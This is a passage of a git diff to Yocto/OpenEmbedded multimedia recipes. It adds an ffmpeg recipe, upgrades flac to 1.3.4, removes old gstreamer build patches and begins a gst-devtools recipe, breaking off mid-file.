+LICENSE = "GPL-2.0-or-later & LGPL-2.1-or-later & ISC & MIT & BSD-2-Clause & BSD-3-Clause & IJG"
+LICENSE:${PN} = "GPL-2.0-or-later"
+LICENSE:libavcodec = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavdevice = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavfilter = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavformat = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libavutil = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libpostproc = "GPL-2.0-or-later"
+LICENSE:libswresample = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE:libswscale = "${@bb.utils.contains('PACKAGECONFIG', 'gpl', 'GPL-2.0-or-later', 'LGPL-2.1-or-later', d)}"
+LICENSE_FLAGS = "commercial"
+
+LIC_FILES_CHKSUM = "file://COPYING.GPLv2;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://COPYING.GPLv3;md5=d32239bcb673463ab874e80d47fae504 \
+ file://COPYING.LGPLv2.1;md5=bd7a443320af8c812e4c18d1b79df004 \
+ file://COPYING.LGPLv3;md5=e6a600fd5e1d9cbde2d983680233ad02"
+
+SRC_URI = "https://www.ffmpeg.org/releases/${BP}.tar.xz \
+ file://0001-libavutil-include-assembly-with-full-path-from-sourc.patch \
+ "
+SRC_URI[sha256sum] = "51e919f7d205062c0fd4fae6243a84850391115104ccf1efc451733bc0ac7298"
+
+# Build fails when thumb is enabled: https://bugzilla.yoctoproject.org/show_bug.cgi?id=7717
+ARM_INSTRUCTION_SET:armv4 = "arm"
+ARM_INSTRUCTION_SET:armv5 = "arm"
+ARM_INSTRUCTION_SET:armv6 = "arm"
+
+# Should be API compatible with libav (which was a fork of ffmpeg)
+# libpostproc was previously packaged from a separate recipe
+PROVIDES = "libav libpostproc"
+
+DEPENDS = "nasm-native"
+
+inherit autotools pkgconfig
+
+PACKAGECONFIG ??= "avdevice avfilter avcodec avformat swresample swscale postproc \
+ alsa bzlib lzma pic pthreads shared theora zlib \
+ ${@bb.utils.contains('AVAILTUNES', 'mips32r2', 'mips32r2', '', d)} \
+ ${@bb.utils.contains('DISTRO_FEATURES', 'x11', 'xv xcb', '', d)}"
+
+# libraries to build in addition to avutil
+PACKAGECONFIG[avdevice] = "--enable-avdevice,--disable-avdevice"
+PACKAGECONFIG[avfilter] = "--enable-avfilter,--disable-avfilter"
+PACKAGECONFIG[avcodec] = "--enable-avcodec,--disable-avcodec"
+PACKAGECONFIG[avformat] = "--enable-avformat,--disable-avformat"
+PACKAGECONFIG[swresample] = "--enable-swresample,--disable-swresample"
+PACKAGECONFIG[swscale] = "--enable-swscale,--disable-swscale"
+PACKAGECONFIG[postproc] = "--enable-postproc,--disable-postproc"
+
+# features to support
+PACKAGECONFIG[alsa] = "--enable-alsa,--disable-alsa,alsa-lib"
+PACKAGECONFIG[altivec] = "--enable-altivec,--disable-altivec,"
+PACKAGECONFIG[bzlib] = "--enable-bzlib,--disable-bzlib,bzip2"
+PACKAGECONFIG[fdk-aac] = "--enable-libfdk-aac --enable-nonfree,--disable-libfdk-aac,fdk-aac"
+PACKAGECONFIG[gpl] = "--enable-gpl,--disable-gpl"
+PACKAGECONFIG[gsm] = "--enable-libgsm,--disable-libgsm,libgsm"
+PACKAGECONFIG[jack] = "--enable-indev=jack,--disable-indev=jack,jack"
+PACKAGECONFIG[libopus] = "--enable-libopus,--disable-libopus,libopus"
+PACKAGECONFIG[libvorbis] = "--enable-libvorbis,--disable-libvorbis,libvorbis"
+PACKAGECONFIG[lzma] = "--enable-lzma,--disable-lzma,xz"
+PACKAGECONFIG[mfx] = "--enable-libmfx,--disable-libmfx,intel-mediasdk"
+PACKAGECONFIG[mp3lame] = "--enable-libmp3lame,--disable-libmp3lame,lame"
+PACKAGECONFIG[openssl] = "--enable-openssl,--disable-openssl,openssl"
+PACKAGECONFIG[sdl2] = "--enable-sdl2,--disable-sdl2,virtual/libsdl2"
+PACKAGECONFIG[speex] = "--enable-libspeex,--disable-libspeex,speex"
+PACKAGECONFIG[srt] = "--enable-libsrt,--disable-libsrt,srt"
+PACKAGECONFIG[theora] = "--enable-libtheora,--disable-libtheora,libtheora libogg"
+PACKAGECONFIG[vaapi] = "--enable-vaapi,--disable-vaapi,libva"
+PACKAGECONFIG[vdpau] = "--enable-vdpau,--disable-vdpau,libvdpau"
+PACKAGECONFIG[vpx] = "--enable-libvpx,--disable-libvpx,libvpx"
+PACKAGECONFIG[x264] = "--enable-libx264,--disable-libx264,x264"
+PACKAGECONFIG[x265] = "--enable-libx265,--disable-libx265,x265"
+PACKAGECONFIG[xcb] = "--enable-libxcb,--disable-libxcb,libxcb"
+PACKAGECONFIG[xv] = "--enable-outdev=xv,--disable-outdev=xv,libxv"
+PACKAGECONFIG[zlib] = "--enable-zlib,--disable-zlib,zlib"
+
+# other configuration options
+PACKAGECONFIG[mips32r2] = ",--disable-mipsdsp --disable-mipsdspr2"
+PACKAGECONFIG[pic] = "--enable-pic"
+PACKAGECONFIG[pthreads] = "--enable-pthreads,--disable-pthreads"
+PACKAGECONFIG[shared] = "--enable-shared"
+PACKAGECONFIG[strip] = ",--disable-stripping"
+
+# Check codecs that require --enable-nonfree
+USE_NONFREE = "${@bb.utils.contains_any('PACKAGECONFIG', [ 'openssl' ], 'yes', '', d)}"
+
+def cpu(d):
+ for arg in (d.getVar('TUNE_CCARGS') or '').split():
+ if arg.startswith('-mcpu='):
+ return arg[6:]
+ return 'generic'
+
+EXTRA_OECONF = " \
+ ${@bb.utils.contains('USE_NONFREE', 'yes', '--enable-nonfree', '', d)} \
+ \
+ --cross-prefix=${TARGET_PREFIX} \
+ \
+ --ld='${CCLD}' \
+ --cc='${CC}' \
+ --cxx='${CXX}' \
+ --arch=${TARGET_ARCH} \
+ --target-os='linux' \
+ --enable-cross-compile \
+ --extra-cflags='${CFLAGS} ${HOST_CC_ARCH}${TOOLCHAIN_OPTIONS}' \
+ --extra-ldflags='${LDFLAGS}' \
+ --sysroot='${STAGING_DIR_TARGET}' \
+ ${EXTRA_FFCONF} \
+ --libdir=${libdir} \
+ --shlibdir=${libdir} \
+ --datadir=${datadir}/ffmpeg \
+ --cpu=${@cpu(d)} \
+ --pkg-config=pkg-config \
+"
+
+EXTRA_OECONF:append:linux-gnux32 = " --disable-asm"
+
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mipsisa64r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r2', '--disable-mips64r6 --disable-mips32r6', '', d)}"
+EXTRA_OECONF += "${@bb.utils.contains('TUNE_FEATURES', 'mips32r6', '--disable-mips64r2 --disable-mips32r2', '', d)}"
+EXTRA_OECONF:append:mips = " --extra-libs=-latomic --disable-mips32r5 --disable-mipsdsp --disable-mipsdspr2 \
+ --disable-loongson2 --disable-loongson3 --disable-mmi --disable-msa"
+EXTRA_OECONF:append:riscv32 = " --extra-libs=-latomic"
+EXTRA_OECONF:append:armv5 = " --extra-libs=-latomic"
+EXTRA_OECONF:append:powerpc = " --extra-libs=-latomic"
+
+# gold crashes on x86, another solution is to --disable-asm but thats more hacky
+# ld.gold: internal error in relocate_section, at ../../gold/i386.cc:3684
+
+LDFLAGS:append:x86 = "${@bb.utils.contains('DISTRO_FEATURES', 'ld-is-gold', ' -fuse-ld=bfd ', '', d)}"
+
+EXTRA_OEMAKE = "V=1"
+
+do_configure() {
+ ${S}/configure ${EXTRA_OECONF}
+}
+
+# patch out build host paths for reproducibility
+do_compile:prepend:class-target() {
+ sed -i -e "s,${WORKDIR},,g" ${B}/config.h
+}
+
+PACKAGES =+ "libavcodec \
+ libavdevice \
+ libavfilter \
+ libavformat \
+ libavutil \
+ libpostproc \
+ libswresample \
+ libswscale"
+
+FILES:libavcodec = "${libdir}/libavcodec${SOLIBS}"
+FILES:libavdevice = "${libdir}/libavdevice${SOLIBS}"
+FILES:libavfilter = "${libdir}/libavfilter${SOLIBS}"
+FILES:libavformat = "${libdir}/libavformat${SOLIBS}"
+FILES:libavutil = "${libdir}/libavutil${SOLIBS}"
+FILES:libpostproc = "${libdir}/libpostproc${SOLIBS}"
+FILES:libswresample = "${libdir}/libswresample${SOLIBS}"
+FILES:libswscale = "${libdir}/libswscale${SOLIBS}"
+
+# ffmpeg disables PIC on some platforms (e.g. x86-32)
+INSANE_SKIP:${MLPREFIX}libavcodec = "textrel"
+INSANE_SKIP:${MLPREFIX}libavdevice = "textrel"
+INSANE_SKIP:${MLPREFIX}libavfilter = "textrel"
+INSANE_SKIP:${MLPREFIX}libavformat = "textrel"
+INSANE_SKIP:${MLPREFIX}libavutil = "textrel"
+INSANE_SKIP:${MLPREFIX}libswscale = "textrel"
+INSANE_SKIP:${MLPREFIX}libswresample = "textrel"
+INSANE_SKIP:${MLPREFIX}libpostproc = "textrel"
diff --git a/meta/recipes-multimedia/flac/flac_1.3.3.bb b/meta/recipes-multimedia/flac/flac_1.3.3.bb
deleted file mode 100644
index fea2be1f6b..0000000000
--- a/meta/recipes-multimedia/flac/flac_1.3.3.bb
+++ /dev/null
@@ -1,45 +0,0 @@
-SUMMARY = "Free Lossless Audio Codec"
-DESCRIPTION = "FLAC stands for Free Lossless Audio Codec, a lossless audio compression format."
-HOMEPAGE = "https://xiph.org/flac/"
-BUGTRACKER = "http://sourceforge.net/p/flac/bugs/"
-SECTION = "libs"
-LICENSE = "GFDL-1.2 & GPLv2+ & LGPLv2.1+ & BSD"
-LIC_FILES_CHKSUM = "file://COPYING.FDL;md5=ad1419ecc56e060eccf8184a87c4285f \
- file://src/Makefile.am;beginline=1;endline=17;md5=09501c864f89dfc7ead65553129817ca \
- file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
- file://src/flac/main.c;beginline=1;endline=18;md5=09777e2934947a36f13568d0beb81199 \
- file://COPYING.LGPL;md5=fbc093901857fcd118f065f900982c24 \
- file://src/plugin_common/all.h;beginline=1;endline=18;md5=f56cb4ba9a3bc9ec6102e8df03215271 \
- file://COPYING.Xiph;md5=b59c1b6d7fc0fb7965f821a3d36505e3 \
- file://include/FLAC/all.h;beginline=65;endline=70;md5=64474f2b22e9e77b28d8b8b25c983a48"
-DEPENDS = "libogg"
-
-SRC_URI = "http://downloads.xiph.org/releases/flac/${BP}.tar.xz \
-"
-
-SRC_URI[md5sum] = "26703ed2858c1fc9ffc05136d13daa69"
-SRC_URI[sha256sum] = "213e82bd716c9de6db2f98bcadbc4c24c7e2efe8c75939a1a84e28539c4e1748"
-
-CVE_PRODUCT = "libflac flac"
-
-inherit autotools gettext
-
-EXTRA_OECONF = "--disable-oggtest \
- --with-ogg-libraries=${STAGING_LIBDIR} \
- --with-ogg-includes=${STAGING_INCDIR} \
- --disable-xmms-plugin \
- --without-libiconv-prefix \
- ac_cv_prog_NASM="" \
- "
-
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "altivec", " --enable-altivec", " --disable-altivec", d)}"
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "core2", " --enable-sse", "", d)}"
-EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "corei7", " --enable-sse", "", d)}"
-
-PACKAGES += "libflac libflac++ liboggflac liboggflac++"
-FILES_${PN} = "${bindir}/*"
-FILES_libflac = "${libdir}/libFLAC.so.*"
-FILES_libflac++ = "${libdir}/libFLAC++.so.*"
-FILES_liboggflac = "${libdir}/libOggFLAC.so.*"
-FILES_liboggflac++ = "${libdir}/libOggFLAC++.so.*"
-
diff --git a/meta/recipes-multimedia/flac/flac_1.3.4.bb b/meta/recipes-multimedia/flac/flac_1.3.4.bb
new file mode 100644
index 0000000000..012da0a0a0
--- /dev/null
+++ b/meta/recipes-multimedia/flac/flac_1.3.4.bb
@@ -0,0 +1,45 @@
+SUMMARY = "Free Lossless Audio Codec"
+DESCRIPTION = "FLAC stands for Free Lossless Audio Codec, a lossless audio compression format."
+HOMEPAGE = "https://xiph.org/flac/"
+BUGTRACKER = "http://sourceforge.net/p/flac/bugs/"
+SECTION = "libs"
+LICENSE = "GFDL-1.2 & GPL-2.0-or-later & LGPL-2.1-or-later & BSD-3-Clause"
+LIC_FILES_CHKSUM = "file://COPYING.FDL;md5=ad1419ecc56e060eccf8184a87c4285f \
+ file://src/Makefile.am;beginline=1;endline=17;md5=09501c864f89dfc7ead65553129817ca \
+ file://COPYING.GPL;md5=b234ee4d69f5fce4486a80fdaf4a4263 \
+ file://src/flac/main.c;beginline=1;endline=18;md5=09777e2934947a36f13568d0beb81199 \
+ file://COPYING.LGPL;md5=fbc093901857fcd118f065f900982c24 \
+ file://src/plugin_common/all.h;beginline=1;endline=18;md5=f56cb4ba9a3bc9ec6102e8df03215271 \
+ file://COPYING.Xiph;md5=b59c1b6d7fc0fb7965f821a3d36505e3 \
+ file://include/FLAC/all.h;beginline=65;endline=70;md5=64474f2b22e9e77b28d8b8b25c983a48"
+DEPENDS = "libogg"
+
+SRC_URI = "http://downloads.xiph.org/releases/flac/${BP}.tar.xz \
+"
+
+SRC_URI[sha256sum] = "8ff0607e75a322dd7cd6ec48f4f225471404ae2730d0ea945127b1355155e737"
+
+CVE_PRODUCT = "libflac flac"
+
+inherit autotools gettext
+
+EXTRA_OECONF = "--disable-oggtest \
+ --with-ogg-libraries=${STAGING_LIBDIR} \
+ --with-ogg-includes=${STAGING_INCDIR} \
+ --disable-xmms-plugin \
+ --without-libiconv-prefix \
+ ac_cv_prog_NASM="" \
+ "
+
+EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "altivec", " --enable-altivec", " --disable-altivec", d)}"
+EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "vsx", " --enable-vsx", " --disable-vsx", d)}"
+EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "core2", " --enable-sse", "", d)}"
+EXTRA_OECONF += "${@bb.utils.contains("TUNE_FEATURES", "corei7", " --enable-sse", "", d)}"
+
+PACKAGES += "libflac libflac++ liboggflac liboggflac++"
+FILES:${PN} = "${bindir}/*"
+FILES:libflac = "${libdir}/libFLAC.so.*"
+FILES:libflac++ = "${libdir}/libFLAC++.so.*"
+FILES:liboggflac = "${libdir}/libOggFLAC.so.*"
+FILES:liboggflac++ = "${libdir}/libOggFLAC++.so.*"
+
diff --git a/meta/recipes-multimedia/gstreamer/files/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch b/meta/recipes-multimedia/gstreamer/files/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
deleted file mode 100644
index 67a872cddb..0000000000
--- a/meta/recipes-multimedia/gstreamer/files/0001-gst-gstpluginloader.c-when-env-var-is-set-do-not-fal.patch
+++ /dev/null
@@ -1,35 +0,0 @@
-From a1d7c582392c8bc87fa9411af77b20e011944357 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Thu, 25 Jan 2018 17:55:02 +0200
-Subject: [PATCH] gst/gstpluginloader.c: when env var is set do not fall
- through to system plugin scanner
-
-If we set a custom GST_PLUGIN_SCANNER env var, then we probably want to use that and only that.
-
-Falling through to the one installed on the system is problamatic in cross-compilation
-environemnts, regardless of whether one pointed to by the env var succeeded or failed.
-
-Upstream-Status: Pending
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
----
- gst/gstpluginloader.c | 4 +---
- 1 file changed, 1 insertion(+), 3 deletions(-)
-
-diff --git a/gst/gstpluginloader.c b/gst/gstpluginloader.c
-index 430829d..3a75731 100644
---- a/gst/gstpluginloader.c
-+++ b/gst/gstpluginloader.c
-@@ -471,9 +471,7 @@ gst_plugin_loader_spawn (GstPluginLoader * loader)
- helper_bin = g_strdup (env);
- res = gst_plugin_loader_try_helper (loader, helper_bin);
- g_free (helper_bin);
-- }
--
-- if (!res) {
-+ } else {
- GST_LOG ("Trying installed plugin scanner");
-
- #ifdef G_OS_WIN32
---
-2.15.1
-
diff --git a/meta/recipes-multimedia/gstreamer/files/0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch b/meta/recipes-multimedia/gstreamer/files/0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch
deleted file mode 100644
index 1b7f115083..0000000000
--- a/meta/recipes-multimedia/gstreamer/files/0001-introspection.m4-prefix-pkgconfig-paths-with-PKG_CON.patch
+++ /dev/null
@@ -1,40 +0,0 @@
-From 2b0436f9a07773fae8c74df902d7024e8bfc3512 Mon Sep 17 00:00:00 2001
-From: Alexander Kanavin <alex.kanavin@gmail.com>
-Date: Tue, 24 Nov 2015 16:46:27 +0200
-Subject: [PATCH] introspection.m4: prefix pkgconfig paths with
- PKG_CONFIG_SYSROOT_DIR
-
-We can't use our tweaked introspection.m4 from gobject-introspection tarball
-because gstreamer also defines INTROSPECTION_INIT in its introspection.m4, which
-is later supplied to g-ir-scanner.
-
-Upstream-Status: Pending [review on oe-core list]
-Signed-off-by: Alexander Kanavin <alex.kanavin@gmail.com>
-
----
- common/m4/introspection.m4 | 8 ++++----
- 1 file changed, 4 insertions(+), 4 deletions(-)
-
-diff --git a/common/m4/introspection.m4 b/common/m4/introspection.m4
-index 162be57..933f979 100644
---- a/common/m4/introspection.m4
-+++ b/common/m4/introspection.m4
-@@ -54,14 +54,14 @@ m4_define([_GOBJECT_INTROSPECTION_CHECK_INTERNAL],
- INTROSPECTION_GIRDIR=
- INTROSPECTION_TYPELIBDIR=
- if test "x$found_introspection" = "xyes"; then
-- INTROSPECTION_SCANNER=`$PKG_CONFIG --variable=g_ir_scanner gobject-introspection-1.0`
-- INTROSPECTION_COMPILER=`$PKG_CONFIG --variable=g_ir_compiler gobject-introspection-1.0`
-- INTROSPECTION_GENERATE=`$PKG_CONFIG --variable=g_ir_generate gobject-introspection-1.0`
-+ INTROSPECTION_SCANNER=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_scanner gobject-introspection-1.0`
-+ INTROSPECTION_COMPILER=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_compiler gobject-introspection-1.0`
-+ INTROSPECTION_GENERATE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=g_ir_generate gobject-introspection-1.0`
- INTROSPECTION_GIRDIR=`$PKG_CONFIG --variable=girdir gobject-introspection-1.0`
- INTROSPECTION_TYPELIBDIR="$($PKG_CONFIG --variable=typelibdir gobject-introspection-1.0)"
- INTROSPECTION_CFLAGS=`$PKG_CONFIG --cflags gobject-introspection-1.0`
- INTROSPECTION_LIBS=`$PKG_CONFIG --libs gobject-introspection-1.0`
-- INTROSPECTION_MAKEFILE=`$PKG_CONFIG --variable=datadir gobject-introspection-1.0`/gobject-introspection-1.0/Makefile.introspection
-+ INTROSPECTION_MAKEFILE=$PKG_CONFIG_SYSROOT_DIR`$PKG_CONFIG --variable=datadir gobject-introspection-1.0`/gobject-introspection-1.0/Makefile.introspection
- INTROSPECTION_INIT="extern void gst_init(gint*,gchar**); gst_init(NULL,NULL);"
- fi
- AC_SUBST(INTROSPECTION_SCANNER)
diff --git a/meta/recipes-multimedia/gstreamer/files/add-a-target-to-compile-tests.patch b/meta/recipes-multimedia/gstreamer/files/add-a-target-to-compile-tests.patch
deleted file mode 100644
index d02d869410..0000000000
--- a/meta/recipes-multimedia/gstreamer/files/add-a-target-to-compile-tests.patch
+++ /dev/null
@@ -1,69 +0,0 @@
-From d61414bc17cf2df019510c2908048c4cabf5cf09 Mon Sep 17 00:00:00 2001
-From: Anuj Mittal <anuj.mittal@intel.com>
-Date: Tue, 27 Feb 2018 09:27:01 +0800
-Subject: [PATCH] add targets for test installation
-
-Targets to make sure tests can be installed and then run on
-the target.
-
-Upstream-Status: Inappropriate [specific to oe setup]
-
-Signed-off-by: Anuj Mittal <anuj.mittal@intel.com>
-
----
- tests/check/Makefile.am | 27 ++++++++++++++++++++-------
- 1 file changed, 20 insertions(+), 7 deletions(-)
-
-diff --git a/tests/check/Makefile.am b/tests/check/Makefile.am
-index 13b916d..a66786d 100644
---- a/tests/check/Makefile.am
-+++ b/tests/check/Makefile.am
-@@ -8,11 +8,7 @@ REGISTRY_ENVIRONMENT = \
- GST_REGISTRY=$(CHECK_REGISTRY)
-
- AM_TESTS_ENVIRONMENT += \
-- GST_STATE_IGNORE_ELEMENTS="$(STATE_IGNORE_ELEMENTS)" \
-- $(REGISTRY_ENVIRONMENT) \
-- GST_PLUGIN_SCANNER_1_0=$(top_builddir)/libs/gst/helpers/gst-plugin-scanner \
-- GST_PLUGIN_SYSTEM_PATH_1_0= \
-- GST_PLUGIN_PATH_1_0=$(top_builddir)/plugins
-+ GST_STATE_IGNORE_ELEMENTS="$(STATE_IGNORE_ELEMENTS)"
-
- plugindir = $(libdir)/gstreamer-@GST_API_VERSION@
-
-@@ -178,6 +174,23 @@ noinst_PROGRAMS =
-
- TESTS = $(check_PROGRAMS)
-
-+install-ptest: $(TESTS)
-+ @$(INSTALL) -d $(DESTDIR)
-+ @for dir in `find -maxdepth 1 -type d`; do \
-+ if [ -x $$dir/.libs ]; then \
-+ $(INSTALL) -d $(DESTDIR)/$$dir; \
-+ $(INSTALL_PROGRAM) $$dir/.libs/* $(DESTDIR)/$$dir/; \
-+ fi \
-+ done
-+
-+runtests:
-+ @for b in $(TESTS); do \
-+ if [ -x $$b ]; then \
-+ $(AM_TESTS_ENVIRONMENT) $(SHELL) test-driver --test-name "$$b" \
-+ --log-file $$b.log --trs-file $$b.trs $$b; \
-+ fi \
-+ done
-+
- noinst_HEADERS = \
- gst/capslist.h \
- gst/struct_arm.h \
-@@ -221,9 +234,9 @@ gst_gstprintf_LDADD = \
- $(LDADD)
-
- elements_fdsrc_CFLAGS=$(GST_OBJ_CFLAGS) $(AM_CFLAGS) \
-- -DTESTFILE=\"$(top_srcdir)/configure.ac\"
-+ -DTESTFILE=\"Makefile\"
- elements_filesrc_CFLAGS=$(GST_OBJ_CFLAGS) $(AM_CFLAGS) \
-- -DTESTFILE=\"$(top_srcdir)/configure.ac\"
-+ -DTESTFILE=\"Makefile\"
-
- libs_controller_LDADD = \
- $(top_builddir)/libs/gst/controller/libgstcontroller-@GST_API_VERSION@.la \
diff --git a/meta/recipes-multimedia/gstreamer/files/gtk-doc-tweaks.patch b/meta/recipes-multimedia/gstreamer/files/gtk-doc-tweaks.patch
deleted file mode 100644
index d86c78d793..0000000000
--- a/meta/recipes-multimedia/gstreamer/files/gtk-doc-tweaks.patch
+++ /dev/null
@@ -1,47 +0,0 @@
-From 7018ca1c4bf26c8317e7fcd2e7e4e648195f42ca Mon Sep 17 00:00:00 2001
-From: Ross Burton <ross.burton@intel.com>
-Date: Wed, 20 Dec 2017 13:03:03 +0000
-Subject: [PATCH] gstreamer: use a patch instead of sed to fix gtk-doc
-
-Patch the gtk-doc makefiles so that the qemu wrapper is used to run transient
-binaries instead of libtool wrapper or running them directly.
-
-Also substitute a bogus plugin scanner, as trying to run the real one is causing
-issues during build on x86_64.
-
-Upstream-Status: Inappropriate
-Signed-off-by: Ross Burton <ross.burton@intel.com>
-
----
- common/gtk-doc.mak | 5 +++--
- 1 file changed, 3 insertions(+), 2 deletions(-)
-
-diff --git a/common/gtk-doc.mak b/common/gtk-doc.mak
-index 3f83491..e5cb0d1 100644
---- a/common/gtk-doc.mak
-+++ b/common/gtk-doc.mak
-@@ -6,11 +6,11 @@
- if GTK_DOC_USE_LIBTOOL
- GTKDOC_CC = $(LIBTOOL) --tag=CC --mode=compile $(CC) $(INCLUDES) $(GTKDOC_DEPS_CFLAGS) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
- GTKDOC_LD = $(LIBTOOL) --tag=CC --mode=link $(CC) $(GTKDOC_DEPS_LIBS) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS)
--GTKDOC_RUN = $(LIBTOOL) --mode=execute
-+GTKDOC_RUN = $(top_builddir)/gtkdoc-qemuwrapper
- else
- GTKDOC_CC = $(CC) $(INCLUDES) $(GTKDOC_DEPS_CFLAGS) $(AM_CPPFLAGS) $(CPPFLAGS) $(AM_CFLAGS) $(CFLAGS)
- GTKDOC_LD = $(CC) $(GTKDOC_DEPS_LIBS) $(AM_CFLAGS) $(CFLAGS) $(AM_LDFLAGS) $(LDFLAGS)
--GTKDOC_RUN =
-+GTKDOC_RUN = $(top_builddir)/gtkdoc-qemuwrapper
- endif
-
- # We set GPATH here; this gives us semantics for GNU make
-@@ -101,6 +101,7 @@ scan-build.stamp: $(HFILE_GLOB) $(CFILE_GLOB)
- GST_PLUGIN_PATH_1_0= \
- GST_REGISTRY_1_0=doc-registry.xml \
- $(GTKDOC_EXTRA_ENVIRONMENT) \
-+ GST_PLUGIN_SCANNER_1_0="$(top_builddir)/libs/gst/helpers/gst-plugin-scanner-dummy" \
- CC="$(GTKDOC_CC)" LD="$(GTKDOC_LD)" RUN="$(GTKDOC_RUN)" \
- CFLAGS="$(GTKDOC_CFLAGS) $(CFLAGS)" \
- LDFLAGS="$(GTKDOC_LIBS) $(LDFLAGS)" \
---
-2.15.1
-
diff --git a/meta/recipes-multimedia/gstreamer/files/run-ptest b/meta/recipes-multimedia/gstreamer/files/run-ptest
deleted file mode 100644
index 473d0b67a7..0000000000
--- a/meta/recipes-multimedia/gstreamer/files/run-ptest
+++ /dev/null
@@ -1,3 +0,0 @@
-#!/bin/sh
-
-make -k runtests
diff --git a/meta/recipes-multimedia/gstreamer/files/0001-connect-has-a-different-signature-on-musl.patch b/meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch
index a0d215c5a0..c0e4581358 100644
--- a/meta/recipes-multimedia/gstreamer/files/0001-connect-has-a-different-signature-on-musl.patch
+++ b/meta/recipes-multimedia/gstreamer/gst-devtools/0001-connect-has-a-different-signature-on-musl.patch
@@ -1,4 +1,4 @@
-From 0bd8004d8dddc486d3961a5316d24e8f2645e4c8 Mon Sep 17 00:00:00 2001
+From 73b1002eda17451db1f58431b42c25203f1d3097 Mon Sep 17 00:00:00 2001
From: Khem Raj <raj.khem@gmail.com>
Date: Sun, 9 Sep 2018 17:38:10 -0700
Subject: [PATCH] connect has a different signature on musl
@@ -12,13 +12,13 @@ Upstream-Status: Pending
Signed-off-by: Khem Raj <raj.khem@gmail.com>
---
- plugins/fault_injection/socket_interposer.c | 7 ++++++-
+ validate/plugins/fault_injection/socket_interposer.c | 7 ++++++-
1 file changed, 6 insertions(+), 1 deletion(-)
-diff --git a/plugins/fault_injection/socket_interposer.c b/plugins/fault_injection/socket_interposer.c
+diff --git a/validate/plugins/fault_injection/socket_interposer.c b/validate/plugins/fault_injection/socket_interposer.c
index 53c1ebb..ad7adf8 100644
---- a/plugins/fault_injection/socket_interposer.c
-+++ b/plugins/fault_injection/socket_interposer.c
+--- a/validate/plugins/fault_injection/socket_interposer.c
++++ b/validate/plugins/fault_injection/socket_interposer.c
@@ -100,10 +100,15 @@ socket_interposer_set_callback (struct sockaddr_in *addrin,
}
diff --git a/meta/recipes-multimedia/gstreamer/gst-devtools_1.20.1.bb b/meta/recipes-multimedia/gstreamer/gst-devtools_1.20.1.bb
new file mode 100644
index 0000000000..ade7cb7dc3
--- /dev/null
+++ b/meta/recipes-multimedia/gstreamer/gst-devtools_1.20.1.bb
@@ -0,0 +1,52 @@
+SUMMARY = "Gstreamer validation tool"
+DESCRIPTION = "A Tool to test GStreamer components"
+HOMEPAGE = "https://gstreamer.freedesktop.org/documentation/gst-devtools/index.html"
+SECTION = "multimedia"
+
+LICENSE = "LGPL-2.1-or-later"
+LIC_FILES_CHKSUM = "file://validate/COPYING;md5=a6f89e2100d9b6cdffcea4f398e37343"
+
+#S = "${WORKDIR}/gst-devtools-${PV}"
+
+SRC_URI = "https://gstreamer.freedesktop.org/src/gst-devtools/gst-devtools-${PV}.tar.xz \
+ file://0001-connect-has-a-different-signature-on-musl.patch \
+ "
+
+SRC_URI[sha256sum] = "81f1c7ef105b8bdb63412638952f6320723b3161c96a80f113b020e2de554b2b"
+
+DEPENDS = "json-glib glib-2.0 glib-2.0-native gstreamer1.0 gstreamer1.0-plugins-base"
+RRECOMMENDS:${PN} = "git"
+
+FILES:${PN} += "${datadir}/gstreamer-1.0/* ${libdir}/gst-validate-launcher/* ${libdir}/gstreamer-1.0/*"
+
+inherit meson pkgconfig gettext upstream-version-is-even gobject-introspection
+
+# TODO: put this in a gettext.bbclass patch
+def gettext_oemeson(d):
+ if d.getVar('USE_NLS') == 'no':
+ return '-Dnls=disabled'
+ # Remove the NLS bits if USE_NLS is no or INHIBIT_DEFAULT_DEPS is set
+ if d.getVar('INHIBIT_DEFAULT_DEPS') and not oe.utils.inherits(d, 'cross-canadian'):
+ return '-Dnls=disabled'
+ return '-Dnls=enabled'
+
+# Build GstValidateVideo
+PACKAGECONFIG[cairo] = "-Dcairo=enabled,-Dcairo=disabled,cairo"
+
+EXTRA_OEMESON += " \
